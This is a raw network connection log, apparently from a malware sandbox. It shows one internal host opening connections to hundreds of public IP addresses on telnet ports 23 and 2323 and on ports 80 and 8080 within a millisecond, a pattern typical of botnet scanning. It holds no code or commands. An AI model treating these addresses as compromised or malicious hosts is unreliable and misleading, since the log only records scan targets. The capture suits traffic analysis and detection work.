Mar 4, 2024 15:05:33.163698912 CET	50393	23	192.168.2.13	151.39.165.91
Mar 4, 2024 15:05:33.163698912 CET	50393	23	192.168.2.13	142.39.148.192
Mar 4, 2024 15:05:33.163718939 CET	50393	23	192.168.2.13	72.54.200.69
Mar 4, 2024 15:05:33.163721085 CET	50393	23	192.168.2.13	213.129.208.173
Mar 4, 2024 15:05:33.163721085 CET	50393	23	192.168.2.13	211.165.227.135
Mar 4, 2024 15:05:33.163723946 CET	50393	23	192.168.2.13	46.232.214.180
Mar 4, 2024 15:05:33.163723946 CET	50393	23	192.168.2.13	121.189.104.95
Mar 4, 2024 15:05:33.163726091 CET	50393	23	192.168.2.13	198.226.199.39
Mar 4, 2024 15:05:33.163727045 CET	50393	23	192.168.2.13	32.33.155.241
Mar 4, 2024 15:05:33.163728952 CET	50393	23	192.168.2.13	104.182.222.177
Mar 4, 2024 15:05:33.163736105 CET	50393	23	192.168.2.13	65.9.24.193
Mar 4, 2024 15:05:33.163738012 CET	50393	23	192.168.2.13	166.163.190.41
Mar 4, 2024 15:05:33.163738966 CET	50393	23	192.168.2.13	186.2.83.153
Mar 4, 2024 15:05:33.163743019 CET	50393	2323	192.168.2.13	137.194.94.56
Mar 4, 2024 15:05:33.163748026 CET	50393	23	192.168.2.13	46.190.172.27
Mar 4, 2024 15:05:33.163748026 CET	50393	23	192.168.2.13	144.45.66.247
Mar 4, 2024 15:05:33.163748980 CET	50393	23	192.168.2.13	204.167.173.29
Mar 4, 2024 15:05:33.163750887 CET	50393	23	192.168.2.13	37.151.16.166
Mar 4, 2024 15:05:33.163750887 CET	50393	23	192.168.2.13	12.126.48.175
Mar 4, 2024 15:05:33.163753033 CET	50393	23	192.168.2.13	8.239.93.201
Mar 4, 2024 15:05:33.163760900 CET	50393	23	192.168.2.13	58.3.43.39
Mar 4, 2024 15:05:33.163764954 CET	50393	23	192.168.2.13	46.240.233.252
Mar 4, 2024 15:05:33.163765907 CET	50393	23	192.168.2.13	4.251.186.74
Mar 4, 2024 15:05:33.163765907 CET	50393	23	192.168.2.13	25.9.236.136
Mar 4, 2024 15:05:33.163768053 CET	50393	2323	192.168.2.13	37.117.108.117
Mar 4, 2024 15:05:33.163764954 CET	50393	2323	192.168.2.13	172.252.102.33
Mar 4, 2024 15:05:33.163768053 CET	50393	23	192.168.2.13	126.2.94.21
Mar 4, 2024 15:05:33.163772106 CET	50393	23	192.168.2.13	181.30.188.197
Mar 4, 2024 15:05:33.163777113 CET	50393	23	192.168.2.13	204.13.244.199
Mar 4, 2024 15:05:33.163764954 CET	50393	23	192.168.2.13	183.204.48.21
Mar 4, 2024 15:05:33.163764954 CET	50393	23	192.168.2.13	165.227.189.95
Mar 4, 2024 15:05:33.163765907 CET	50393	23	192.168.2.13	176.20.131.254
Mar 4, 2024 15:05:33.163788080 CET	50393	23	192.168.2.13	43.168.253.38
Mar 4, 2024 15:05:33.163789034 CET	50393	23	192.168.2.13	120.160.19.250
Mar 4, 2024 15:05:33.163788080 CET	50393	23	192.168.2.13	129.149.149.114
Mar 4, 2024 15:05:33.163788080 CET	50393	23	192.168.2.13	206.0.64.197
Mar 4, 2024 15:05:33.163790941 CET	50393	2323	192.168.2.13	170.207.208.129
Mar 4, 2024 15:05:33.163791895 CET	50393	23	192.168.2.13	13.157.33.41
Mar 4, 2024 15:05:33.163791895 CET	50393	23	192.168.2.13	108.93.187.52
Mar 4, 2024 15:05:33.163791895 CET	50393	23	192.168.2.13	166.137.64.129
Mar 4, 2024 15:05:33.163794994 CET	50393	23	192.168.2.13	144.197.111.98
Mar 4, 2024 15:05:33.163798094 CET	50393	23	192.168.2.13	184.178.171.133
Mar 4, 2024 15:05:33.163808107 CET	50393	23	192.168.2.13	47.18.22.46
Mar 4, 2024 15:05:33.163808107 CET	48089	80	192.168.2.13	112.35.4.165
Mar 4, 2024 15:05:33.163808107 CET	50393	23	192.168.2.13	177.115.97.196
Mar 4, 2024 15:05:33.163808107 CET	50393	2323	192.168.2.13	37.141.21.232
Mar 4, 2024 15:05:33.163808107 CET	50393	23	192.168.2.13	49.36.96.49
Mar 4, 2024 15:05:33.163811922 CET	50393	23	192.168.2.13	114.231.6.197
Mar 4, 2024 15:05:33.163819075 CET	50393	23	192.168.2.13	83.19.242.99
Mar 4, 2024 15:05:33.163819075 CET	50393	23	192.168.2.13	219.224.52.96
Mar 4, 2024 15:05:33.163820982 CET	50393	23	192.168.2.13	51.202.146.228
Mar 4, 2024 15:05:33.163820982 CET	50393	23	192.168.2.13	44.144.136.52
Mar 4, 2024 15:05:33.163822889 CET	50393	23	192.168.2.13	217.210.145.102
Mar 4, 2024 15:05:33.163826942 CET	50393	23	192.168.2.13	106.191.254.139
Mar 4, 2024 15:05:33.163826942 CET	50393	23	192.168.2.13	149.50.248.90
Mar 4, 2024 15:05:33.163826942 CET	50393	23	192.168.2.13	212.4.172.251
Mar 4, 2024 15:05:33.163834095 CET	50393	23	192.168.2.13	174.202.61.36
Mar 4, 2024 15:05:33.163841009 CET	50393	23	192.168.2.13	189.8.231.172
Mar 4, 2024 15:05:33.163841009 CET	50393	23	192.168.2.13	69.246.122.164
Mar 4, 2024 15:05:33.163841009 CET	50393	23	192.168.2.13	89.82.174.255
Mar 4, 2024 15:05:33.163844109 CET	50393	23	192.168.2.13	69.12.187.177
Mar 4, 2024 15:05:33.163851976 CET	50393	23	192.168.2.13	75.172.193.64
Mar 4, 2024 15:05:33.163851976 CET	50393	23	192.168.2.13	90.211.136.185
Mar 4, 2024 15:05:33.163851976 CET	50393	2323	192.168.2.13	94.1.142.68
Mar 4, 2024 15:05:33.163851976 CET	50393	23	192.168.2.13	71.106.79.110
Mar 4, 2024 15:05:33.163856030 CET	50393	23	192.168.2.13	208.227.134.187
Mar 4, 2024 15:05:33.163856030 CET	50393	23	192.168.2.13	58.54.252.157
Mar 4, 2024 15:05:33.163862944 CET	50393	23	192.168.2.13	140.108.155.115
Mar 4, 2024 15:05:33.163866997 CET	50393	23	192.168.2.13	172.250.120.86
Mar 4, 2024 15:05:33.163872004 CET	50393	2323	192.168.2.13	115.40.101.125
Mar 4, 2024 15:05:33.163873911 CET	50393	23	192.168.2.13	87.39.170.207
Mar 4, 2024 15:05:33.163873911 CET	50393	23	192.168.2.13	102.82.48.235
Mar 4, 2024 15:05:33.163882017 CET	50393	23	192.168.2.13	174.117.251.43
Mar 4, 2024 15:05:33.163892031 CET	50393	23	192.168.2.13	206.72.185.100
Mar 4, 2024 15:05:33.163899899 CET	50393	23	192.168.2.13	90.51.160.19
Mar 4, 2024 15:05:33.163901091 CET	50393	23	192.168.2.13	142.171.74.238
Mar 4, 2024 15:05:33.163899899 CET	50393	23	192.168.2.13	84.126.80.44
Mar 4, 2024 15:05:33.163912058 CET	50393	23	192.168.2.13	151.216.103.75
Mar 4, 2024 15:05:33.163914919 CET	50393	23	192.168.2.13	167.49.134.206
Mar 4, 2024 15:05:33.163916111 CET	50393	2323	192.168.2.13	120.230.170.177
Mar 4, 2024 15:05:33.163921118 CET	50393	23	192.168.2.13	23.17.125.161
Mar 4, 2024 15:05:33.163924932 CET	50393	23	192.168.2.13	154.75.84.104
Mar 4, 2024 15:05:33.163924932 CET	50393	23	192.168.2.13	170.233.154.176
Mar 4, 2024 15:05:33.163933039 CET	50393	23	192.168.2.13	125.142.138.171
Mar 4, 2024 15:05:33.163933039 CET	50393	23	192.168.2.13	80.216.138.27
Mar 4, 2024 15:05:33.163934946 CET	50393	23	192.168.2.13	124.250.165.14
Mar 4, 2024 15:05:33.163952112 CET	50393	23	192.168.2.13	4.170.35.234
Mar 4, 2024 15:05:33.163952112 CET	50393	23	192.168.2.13	46.10.194.158
Mar 4, 2024 15:05:33.163953066 CET	50393	23	192.168.2.13	1.53.114.135
Mar 4, 2024 15:05:33.163955927 CET	50393	2323	192.168.2.13	187.65.226.131
Mar 4, 2024 15:05:33.163961887 CET	50393	23	192.168.2.13	40.221.29.97
Mar 4, 2024 15:05:33.163961887 CET	50393	23	192.168.2.13	44.177.155.15
Mar 4, 2024 15:05:33.163969040 CET	50393	23	192.168.2.13	41.136.74.3
Mar 4, 2024 15:05:33.163969994 CET	50393	23	192.168.2.13	178.215.106.28
Mar 4, 2024 15:05:33.163969994 CET	50393	23	192.168.2.13	216.49.92.0
Mar 4, 2024 15:05:33.163971901 CET	50393	23	192.168.2.13	84.175.37.3
Mar 4, 2024 15:05:33.163974047 CET	50393	23	192.168.2.13	165.112.238.129
Mar 4, 2024 15:05:33.163975000 CET	50393	23	192.168.2.13	138.52.170.70
Mar 4, 2024 15:05:33.163978100 CET	50393	23	192.168.2.13	219.51.32.43
Mar 4, 2024 15:05:33.163978100 CET	50393	23	192.168.2.13	189.126.126.62
Mar 4, 2024 15:05:33.163980007 CET	50393	2323	192.168.2.13	64.38.143.104
Mar 4, 2024 15:05:33.163980007 CET	50393	23	192.168.2.13	199.233.126.22
Mar 4, 2024 15:05:33.163983107 CET	50393	23	192.168.2.13	192.103.123.75
Mar 4, 2024 15:05:33.163990974 CET	50393	23	192.168.2.13	65.119.0.150
Mar 4, 2024 15:05:33.163990974 CET	50393	23	192.168.2.13	111.102.106.36
Mar 4, 2024 15:05:33.163997889 CET	50393	23	192.168.2.13	147.14.8.229
Mar 4, 2024 15:05:33.164004087 CET	50393	23	192.168.2.13	196.113.128.45
Mar 4, 2024 15:05:33.164004087 CET	50393	23	192.168.2.13	207.34.15.140
Mar 4, 2024 15:05:33.164005041 CET	50393	23	192.168.2.13	197.91.240.242
Mar 4, 2024 15:05:33.164006948 CET	50393	23	192.168.2.13	108.73.205.137
Mar 4, 2024 15:05:33.164011955 CET	50393	23	192.168.2.13	99.228.1.78
Mar 4, 2024 15:05:33.164011955 CET	50393	2323	192.168.2.13	152.35.93.165
Mar 4, 2024 15:05:33.164015055 CET	50393	23	192.168.2.13	94.253.15.211
Mar 4, 2024 15:05:33.164015055 CET	50393	23	192.168.2.13	49.145.17.60
Mar 4, 2024 15:05:33.164016962 CET	50393	23	192.168.2.13	91.34.9.72
Mar 4, 2024 15:05:33.164019108 CET	50393	23	192.168.2.13	201.87.13.143
Mar 4, 2024 15:05:33.164019108 CET	50393	23	192.168.2.13	83.137.113.171
Mar 4, 2024 15:05:33.164025068 CET	50393	23	192.168.2.13	79.230.153.46
Mar 4, 2024 15:05:33.164028883 CET	50393	23	192.168.2.13	199.95.212.63
Mar 4, 2024 15:05:33.164035082 CET	48089	80	192.168.2.13	112.144.95.20
Mar 4, 2024 15:05:33.164041996 CET	50393	23	192.168.2.13	124.242.31.207
Mar 4, 2024 15:05:33.164045095 CET	50393	23	192.168.2.13	36.128.140.73
Mar 4, 2024 15:05:33.164048910 CET	50393	23	192.168.2.13	209.28.243.252
Mar 4, 2024 15:05:33.164048910 CET	50393	23	192.168.2.13	107.159.220.104
Mar 4, 2024 15:05:33.164051056 CET	50393	23	192.168.2.13	34.216.6.90
Mar 4, 2024 15:05:33.164058924 CET	50393	23	192.168.2.13	117.109.47.103
Mar 4, 2024 15:05:33.164058924 CET	50393	2323	192.168.2.13	1.149.28.101
Mar 4, 2024 15:05:33.164062977 CET	50393	23	192.168.2.13	188.198.11.137
Mar 4, 2024 15:05:33.164064884 CET	50393	23	192.168.2.13	180.79.238.53
Mar 4, 2024 15:05:33.164066076 CET	50393	23	192.168.2.13	161.64.18.173
Mar 4, 2024 15:05:33.164067030 CET	50393	23	192.168.2.13	128.132.68.242
Mar 4, 2024 15:05:33.164078951 CET	50393	23	192.168.2.13	210.240.200.33
Mar 4, 2024 15:05:33.164083004 CET	50393	23	192.168.2.13	97.218.136.73
Mar 4, 2024 15:05:33.164083004 CET	50393	23	192.168.2.13	20.95.196.255
Mar 4, 2024 15:05:33.164083004 CET	50393	23	192.168.2.13	76.25.50.41
Mar 4, 2024 15:05:33.164084911 CET	50393	23	192.168.2.13	166.97.112.130
Mar 4, 2024 15:05:33.164091110 CET	50393	2323	192.168.2.13	52.221.62.203
Mar 4, 2024 15:05:33.164091110 CET	50393	23	192.168.2.13	188.10.148.15
Mar 4, 2024 15:05:33.164093971 CET	50393	23	192.168.2.13	36.12.117.221
Mar 4, 2024 15:05:33.164091110 CET	50393	23	192.168.2.13	83.94.172.14
Mar 4, 2024 15:05:33.164099932 CET	50393	2323	192.168.2.13	77.109.24.136
Mar 4, 2024 15:05:33.164115906 CET	50393	23	192.168.2.13	193.150.30.179
Mar 4, 2024 15:05:33.164118052 CET	50393	23	192.168.2.13	206.28.103.12
Mar 4, 2024 15:05:33.164118052 CET	48089	80	192.168.2.13	112.113.124.82
Mar 4, 2024 15:05:33.164122105 CET	50393	23	192.168.2.13	155.35.90.51
Mar 4, 2024 15:05:33.164125919 CET	50393	23	192.168.2.13	145.85.240.114
Mar 4, 2024 15:05:33.164125919 CET	50393	23	192.168.2.13	100.29.216.66
Mar 4, 2024 15:05:33.164129972 CET	50393	23	192.168.2.13	177.180.78.39
Mar 4, 2024 15:05:33.164133072 CET	50393	23	192.168.2.13	106.1.148.212
Mar 4, 2024 15:05:33.164134026 CET	50393	23	192.168.2.13	149.89.71.112
Mar 4, 2024 15:05:33.164134979 CET	50393	23	192.168.2.13	9.88.31.93
Mar 4, 2024 15:05:33.164134979 CET	50393	23	192.168.2.13	122.116.241.90
Mar 4, 2024 15:05:33.164134026 CET	50393	23	192.168.2.13	45.49.12.35
Mar 4, 2024 15:05:33.164134979 CET	50393	23	192.168.2.13	23.98.80.168
Mar 4, 2024 15:05:33.164134979 CET	50393	23	192.168.2.13	70.143.147.56
Mar 4, 2024 15:05:33.164139986 CET	50393	23	192.168.2.13	34.29.96.222
Mar 4, 2024 15:05:33.164144039 CET	50393	23	192.168.2.13	58.132.53.214
Mar 4, 2024 15:05:33.164144039 CET	50393	23	192.168.2.13	169.47.123.224
Mar 4, 2024 15:05:33.164148092 CET	50393	2323	192.168.2.13	182.250.133.191
Mar 4, 2024 15:05:33.164148092 CET	50393	23	192.168.2.13	176.235.3.162
Mar 4, 2024 15:05:33.164149046 CET	50393	23	192.168.2.13	50.0.230.215
Mar 4, 2024 15:05:33.164149046 CET	48089	80	192.168.2.13	112.203.19.67
Mar 4, 2024 15:05:33.164149046 CET	50393	2323	192.168.2.13	41.253.215.232
Mar 4, 2024 15:05:33.164155006 CET	48089	80	192.168.2.13	112.144.180.240
Mar 4, 2024 15:05:33.164155006 CET	50393	23	192.168.2.13	139.226.73.174
Mar 4, 2024 15:05:33.164155006 CET	50393	23	192.168.2.13	54.38.26.185
Mar 4, 2024 15:05:33.164160967 CET	50393	23	192.168.2.13	217.193.56.179
Mar 4, 2024 15:05:33.164160967 CET	50393	23	192.168.2.13	132.213.172.55
Mar 4, 2024 15:05:33.164160967 CET	50393	23	192.168.2.13	19.40.87.254
Mar 4, 2024 15:05:33.164167881 CET	50393	23	192.168.2.13	198.0.133.219
Mar 4, 2024 15:05:33.164167881 CET	50393	23	192.168.2.13	203.12.243.130
Mar 4, 2024 15:05:33.164167881 CET	48089	80	192.168.2.13	112.245.32.70
Mar 4, 2024 15:05:33.164167881 CET	50393	2323	192.168.2.13	114.147.152.114
Mar 4, 2024 15:05:33.164181948 CET	50393	23	192.168.2.13	83.62.248.116
Mar 4, 2024 15:05:33.164181948 CET	50393	23	192.168.2.13	2.167.255.232
Mar 4, 2024 15:05:33.164185047 CET	50393	23	192.168.2.13	148.64.188.56
Mar 4, 2024 15:05:33.164186954 CET	50393	23	192.168.2.13	65.32.17.22
Mar 4, 2024 15:05:33.164186954 CET	50393	23	192.168.2.13	128.132.192.16
Mar 4, 2024 15:05:33.164186954 CET	50393	23	192.168.2.13	102.235.153.8
Mar 4, 2024 15:05:33.164192915 CET	50393	23	192.168.2.13	140.5.75.149
Mar 4, 2024 15:05:33.164192915 CET	50393	23	192.168.2.13	145.18.96.183
Mar 4, 2024 15:05:33.164192915 CET	50393	23	192.168.2.13	137.135.236.241
Mar 4, 2024 15:05:33.164199114 CET	48089	80	192.168.2.13	112.233.143.134
Mar 4, 2024 15:05:33.164199114 CET	50393	23	192.168.2.13	223.214.180.149
Mar 4, 2024 15:05:33.164201021 CET	50393	2323	192.168.2.13	119.136.197.138
Mar 4, 2024 15:05:33.164201021 CET	50393	23	192.168.2.13	17.169.247.189
Mar 4, 2024 15:05:33.164201021 CET	50393	23	192.168.2.13	5.29.157.82
Mar 4, 2024 15:05:33.164201021 CET	50393	23	192.168.2.13	219.234.58.75
Mar 4, 2024 15:05:33.164201021 CET	50393	23	192.168.2.13	170.166.149.89
Mar 4, 2024 15:05:33.164206982 CET	48089	80	192.168.2.13	112.92.26.234
Mar 4, 2024 15:05:33.164215088 CET	50393	23	192.168.2.13	54.38.198.15
Mar 4, 2024 15:05:33.164216995 CET	50393	23	192.168.2.13	79.188.131.116
Mar 4, 2024 15:05:33.164216995 CET	50393	23	192.168.2.13	148.32.16.2
Mar 4, 2024 15:05:33.164216995 CET	48089	80	192.168.2.13	112.145.47.234
Mar 4, 2024 15:05:33.164216995 CET	50393	23	192.168.2.13	156.76.155.87
Mar 4, 2024 15:05:33.164216995 CET	50393	23	192.168.2.13	14.222.125.192
Mar 4, 2024 15:05:33.164216995 CET	50393	23	192.168.2.13	48.8.159.119
Mar 4, 2024 15:05:33.164216995 CET	50393	23	192.168.2.13	90.26.30.239
Mar 4, 2024 15:05:33.164223909 CET	48089	80	192.168.2.13	112.15.243.33
Mar 4, 2024 15:05:33.164223909 CET	50393	23	192.168.2.13	108.126.153.81
Mar 4, 2024 15:05:33.164223909 CET	48089	80	192.168.2.13	112.178.178.40
Mar 4, 2024 15:05:33.164223909 CET	50393	2323	192.168.2.13	51.35.71.236
Mar 4, 2024 15:05:33.164226055 CET	50393	2323	192.168.2.13	52.191.216.135
Mar 4, 2024 15:05:33.164217949 CET	50393	23	192.168.2.13	138.80.209.70
Mar 4, 2024 15:05:33.164223909 CET	50393	23	192.168.2.13	168.225.54.51
Mar 4, 2024 15:05:33.164223909 CET	50393	23	192.168.2.13	73.164.93.82
Mar 4, 2024 15:05:33.164223909 CET	50393	23	192.168.2.13	147.227.200.62
Mar 4, 2024 15:05:33.164230108 CET	48089	80	192.168.2.13	112.143.238.10
Mar 4, 2024 15:05:33.164226055 CET	50393	23	192.168.2.13	31.214.122.7
Mar 4, 2024 15:05:33.164232016 CET	50393	23	192.168.2.13	148.202.131.104
Mar 4, 2024 15:05:33.164226055 CET	50393	23	192.168.2.13	27.119.0.119
Mar 4, 2024 15:05:33.164233923 CET	48089	80	192.168.2.13	112.99.235.212
Mar 4, 2024 15:05:33.164226055 CET	50393	23	192.168.2.13	114.217.145.110
Mar 4, 2024 15:05:33.164235115 CET	48089	80	192.168.2.13	112.157.186.149
Mar 4, 2024 15:05:33.164226055 CET	48089	80	192.168.2.13	112.14.252.47
Mar 4, 2024 15:05:33.164232969 CET	48089	80	192.168.2.13	112.236.2.215
Mar 4, 2024 15:05:33.164232016 CET	50393	23	192.168.2.13	156.106.79.87
Mar 4, 2024 15:05:33.164232969 CET	48089	80	192.168.2.13	112.139.243.23
Mar 4, 2024 15:05:33.164243937 CET	50393	23	192.168.2.13	202.206.91.93
Mar 4, 2024 15:05:33.164252996 CET	48089	80	192.168.2.13	112.121.207.214
Mar 4, 2024 15:05:33.164254904 CET	48089	80	192.168.2.13	112.165.230.49
Mar 4, 2024 15:05:33.164263010 CET	50393	2323	192.168.2.13	176.108.198.70
Mar 4, 2024 15:05:33.164263010 CET	48089	80	192.168.2.13	112.105.216.207
Mar 4, 2024 15:05:33.164263010 CET	50393	23	192.168.2.13	31.13.170.115
Mar 4, 2024 15:05:33.164263010 CET	50393	23	192.168.2.13	2.118.246.51
Mar 4, 2024 15:05:33.164263010 CET	48089	80	192.168.2.13	112.27.104.197
Mar 4, 2024 15:05:33.164263010 CET	50393	23	192.168.2.13	117.249.65.146
Mar 4, 2024 15:05:33.164263010 CET	50393	23	192.168.2.13	173.14.212.247
Mar 4, 2024 15:05:33.164266109 CET	47577	8080	192.168.2.13	95.233.42.36
Mar 4, 2024 15:05:33.164263010 CET	47577	8080	192.168.2.13	94.217.72.149
Mar 4, 2024 15:05:33.164266109 CET	47577	8080	192.168.2.13	62.33.232.90
Mar 4, 2024 15:05:33.164263010 CET	47577	8080	192.168.2.13	95.74.193.243
Mar 4, 2024 15:05:33.164272070 CET	47577	8080	192.168.2.13	62.96.43.65
Mar 4, 2024 15:05:33.164273977 CET	48089	80	192.168.2.13	112.178.77.208
Mar 4, 2024 15:05:33.164273977 CET	47577	8080	192.168.2.13	85.229.69.206
Mar 4, 2024 15:05:33.164285898 CET	47577	8080	192.168.2.13	85.251.149.137
Mar 4, 2024 15:05:33.164285898 CET	47577	8080	192.168.2.13	94.100.38.222
Mar 4, 2024 15:05:33.164290905 CET	50393	23	192.168.2.13	4.24.212.194
Mar 4, 2024 15:05:33.164290905 CET	50393	23	192.168.2.13	90.183.211.62
Mar 4, 2024 15:05:33.164290905 CET	50393	23	192.168.2.13	210.128.151.149
Mar 4, 2024 15:05:33.164290905 CET	48089	80	192.168.2.13	112.238.112.121
Mar 4, 2024 15:05:33.164290905 CET	47577	8080	192.168.2.13	85.75.230.68
Mar 4, 2024 15:05:33.164290905 CET	47577	8080	192.168.2.13	95.170.106.27
Mar 4, 2024 15:05:33.164290905 CET	47577	8080	192.168.2.13	94.216.9.75
Mar 4, 2024 15:05:33.164294004 CET	48089	80	192.168.2.13	112.188.55.91
Mar 4, 2024 15:05:33.164294004 CET	47577	8080	192.168.2.13	62.128.47.30
Mar 4, 2024 15:05:33.164294004 CET	47577	8080	192.168.2.13	94.81.63.75
Mar 4, 2024 15:05:33.164294004 CET	47577	8080	192.168.2.13	31.111.92.71
Mar 4, 2024 15:05:33.164299965 CET	47577	8080	192.168.2.13	94.7.52.88
Mar 4, 2024 15:05:33.164299965 CET	47577	8080	192.168.2.13	94.168.148.153
Mar 4, 2024 15:05:33.164299965 CET	47577	8080	192.168.2.13	62.206.205.10
Mar 4, 2024 15:05:33.164299965 CET	47577	8080	192.168.2.13	95.237.154.132
Mar 4, 2024 15:05:33.164304972 CET	47577	8080	192.168.2.13	85.124.193.192
Mar 4, 2024 15:05:33.164310932 CET	47577	8080	192.168.2.13	62.134.230.203
Mar 4, 2024 15:05:33.164310932 CET	47577	8080	192.168.2.13	31.44.124.46
Mar 4, 2024 15:05:33.164319992 CET	47577	8080	192.168.2.13	31.125.81.166
Mar 4, 2024 15:05:33.164319992 CET	48089	80	192.168.2.13	112.47.98.104
Mar 4, 2024 15:05:33.164319992 CET	47577	8080	192.168.2.13	95.204.241.67
Mar 4, 2024 15:05:33.164319992 CET	47577	8080	192.168.2.13	95.150.214.158
Mar 4, 2024 15:05:33.164319992 CET	47577	8080	192.168.2.13	85.68.229.145
Mar 4, 2024 15:05:33.164350033 CET	47577	8080	192.168.2.13	62.85.95.205
Mar 4, 2024 15:05:33.164354086 CET	47577	8080	192.168.2.13	85.182.252.228
Mar 4, 2024 15:05:33.164360046 CET	47577	8080	192.168.2.13	94.3.132.154
Mar 4, 2024 15:05:33.164360046 CET	48089	80	192.168.2.13	112.21.214.250
Mar 4, 2024 15:05:33.164366007 CET	48089	80	192.168.2.13	112.75.177.185
Mar 4, 2024 15:05:33.164366007 CET	48089	80	192.168.2.13	112.237.240.46
Mar 4, 2024 15:05:33.164369106 CET	48089	80	192.168.2.13	112.33.118.70
Mar 4, 2024 15:05:33.164369106 CET	48089	80	192.168.2.13	112.210.0.14
Mar 4, 2024 15:05:33.164369106 CET	48089	80	192.168.2.13	112.152.115.40
Mar 4, 2024 15:05:33.164369106 CET	48089	80	192.168.2.13	112.30.8.121
Mar 4, 2024 15:05:33.164369106 CET	48089	80	192.168.2.13	112.22.149.79
Mar 4, 2024 15:05:33.164369106 CET	48089	80	192.168.2.13	112.49.169.152
Mar 4, 2024 15:05:33.164369106 CET	47577	8080	192.168.2.13	62.23.15.103
Mar 4, 2024 15:05:33.164369106 CET	48089	80	192.168.2.13	112.75.87.152
Mar 4, 2024 15:05:33.164375067 CET	47577	8080	192.168.2.13	62.33.26.20
Mar 4, 2024 15:05:33.164375067 CET	47577	8080	192.168.2.13	31.34.252.79
Mar 4, 2024 15:05:33.164375067 CET	47577	8080	192.168.2.13	62.66.90.60
Mar 4, 2024 15:05:33.164375067 CET	47577	8080	192.168.2.13	85.42.81.96
Mar 4, 2024 15:05:33.164375067 CET	48089	80	192.168.2.13	112.101.33.85
Mar 4, 2024 15:05:33.164380074 CET	47577	8080	192.168.2.13	85.208.100.177
Mar 4, 2024 15:05:33.164380074 CET	47577	8080	192.168.2.13	85.117.175.187
Mar 4, 2024 15:05:33.164380074 CET	50393	23	192.168.2.13	209.148.31.230
Mar 4, 2024 15:05:33.164380074 CET	47577	8080	192.168.2.13	94.123.28.88
Mar 4, 2024 15:05:33.164381981 CET	48089	80	192.168.2.13	112.127.100.181
Mar 4, 2024 15:05:33.164380074 CET	48089	80	192.168.2.13	112.43.52.47
Mar 4, 2024 15:05:33.164381981 CET	48089	80	192.168.2.13	112.38.228.177
Mar 4, 2024 15:05:33.164380074 CET	47577	8080	192.168.2.13	31.89.107.46
Mar 4, 2024 15:05:33.164380074 CET	47577	8080	192.168.2.13	85.14.255.234
Mar 4, 2024 15:05:33.164380074 CET	47577	8080	192.168.2.13	85.126.7.209
Mar 4, 2024 15:05:33.164380074 CET	47577	8080	192.168.2.13	31.60.138.14
Mar 4, 2024 15:05:33.164380074 CET	48089	80	192.168.2.13	112.45.231.17
Mar 4, 2024 15:05:33.164380074 CET	47577	8080	192.168.2.13	85.90.54.42
Mar 4, 2024 15:05:33.164388895 CET	48089	80	192.168.2.13	112.120.182.32
Mar 4, 2024 15:05:33.164388895 CET	48089	80	192.168.2.13	112.71.228.184
Mar 4, 2024 15:05:33.164388895 CET	48089	80	192.168.2.13	112.111.210.218
Mar 4, 2024 15:05:33.164388895 CET	48089	80	192.168.2.13	112.229.39.233
Mar 4, 2024 15:05:33.164388895 CET	47577	8080	192.168.2.13	85.97.28.103
Mar 4, 2024 15:05:33.164388895 CET	47577	8080	192.168.2.13	62.240.198.56
Mar 4, 2024 15:05:33.164388895 CET	47577	8080	192.168.2.13	85.76.139.224
Mar 4, 2024 15:05:33.164397001 CET	48089	80	192.168.2.13	112.218.77.76
Mar 4, 2024 15:05:33.164397001 CET	50393	23	192.168.2.13	113.247.88.41
Mar 4, 2024 15:05:33.164397955 CET	47577	8080	192.168.2.13	31.204.1.97
Mar 4, 2024 15:05:33.164397955 CET	48089	80	192.168.2.13	112.35.213.161
Mar 4, 2024 15:05:33.164397955 CET	47577	8080	192.168.2.13	94.244.220.114
Mar 4, 2024 15:05:33.164402962 CET	47577	8080	192.168.2.13	31.52.187.12
Mar 4, 2024 15:05:33.164397955 CET	47577	8080	192.168.2.13	95.37.208.39
Mar 4, 2024 15:05:33.164397955 CET	47577	8080	192.168.2.13	31.70.134.149
Mar 4, 2024 15:05:33.164411068 CET	48089	80	192.168.2.13	112.216.16.252
Mar 4, 2024 15:05:33.164412975 CET	47577	8080	192.168.2.13	94.20.137.104
Mar 4, 2024 15:05:33.164412975 CET	47577	8080	192.168.2.13	31.158.132.84
Mar 4, 2024 15:05:33.164412975 CET	47577	8080	192.168.2.13	95.69.126.101
Mar 4, 2024 15:05:33.164416075 CET	47577	8080	192.168.2.13	94.145.63.57
Mar 4, 2024 15:05:33.164416075 CET	48089	80	192.168.2.13	112.198.116.220
Mar 4, 2024 15:05:33.164416075 CET	48089	80	192.168.2.13	112.204.138.15
Mar 4, 2024 15:05:33.164428949 CET	48089	80	192.168.2.13	112.151.77.254
Mar 4, 2024 15:05:33.164428949 CET	47577	8080	192.168.2.13	62.13.232.224
Mar 4, 2024 15:05:33.164438963 CET	48089	80	192.168.2.13	112.9.128.45
Mar 4, 2024 15:05:33.164457083 CET	47577	8080	192.168.2.13	31.79.62.164
Mar 4, 2024 15:05:33.164457083 CET	47577	8080	192.168.2.13	62.101.247.93
Mar 4, 2024 15:05:33.164460897 CET	48089	80	192.168.2.13	112.186.211.163
Mar 4, 2024 15:05:33.164460897 CET	47577	8080	192.168.2.13	62.252.241.231
Mar 4, 2024 15:05:33.164463997 CET	47577	8080	192.168.2.13	62.48.253.124
Mar 4, 2024 15:05:33.164463997 CET	48089	80	192.168.2.13	112.188.183.62
Mar 4, 2024 15:05:33.164470911 CET	47577	8080	192.168.2.13	85.156.182.189
Mar 4, 2024 15:05:33.164470911 CET	47577	8080	192.168.2.13	31.38.158.73
Mar 4, 2024 15:05:33.164470911 CET	47577	8080	192.168.2.13	85.162.33.43
Mar 4, 2024 15:05:33.164473057 CET	47577	8080	192.168.2.13	85.162.83.144
Mar 4, 2024 15:05:33.164473057 CET	47577	8080	192.168.2.13	62.29.201.6
Mar 4, 2024 15:05:33.164473057 CET	47577	8080	192.168.2.13	62.16.249.185
Mar 4, 2024 15:05:33.164473057 CET	48089	80	192.168.2.13	112.110.23.35
Mar 4, 2024 15:05:33.164473057 CET	47577	8080	192.168.2.13	85.90.202.236
Mar 4, 2024 15:05:33.164479971 CET	47577	8080	192.168.2.13	62.13.25.242
Mar 4, 2024 15:05:33.164480925 CET	47577	8080	192.168.2.13	95.108.180.226
Mar 4, 2024 15:05:33.164480925 CET	47577	8080	192.168.2.13	95.40.193.151
Mar 4, 2024 15:05:33.164480925 CET	47577	8080	192.168.2.13	85.218.248.132
Mar 4, 2024 15:05:33.164488077 CET	48089	80	192.168.2.13	112.142.175.190
Mar 4, 2024 15:05:33.164488077 CET	48089	80	192.168.2.13	112.128.158.160
Mar 4, 2024 15:05:33.164488077 CET	47577	8080	192.168.2.13	85.140.71.163
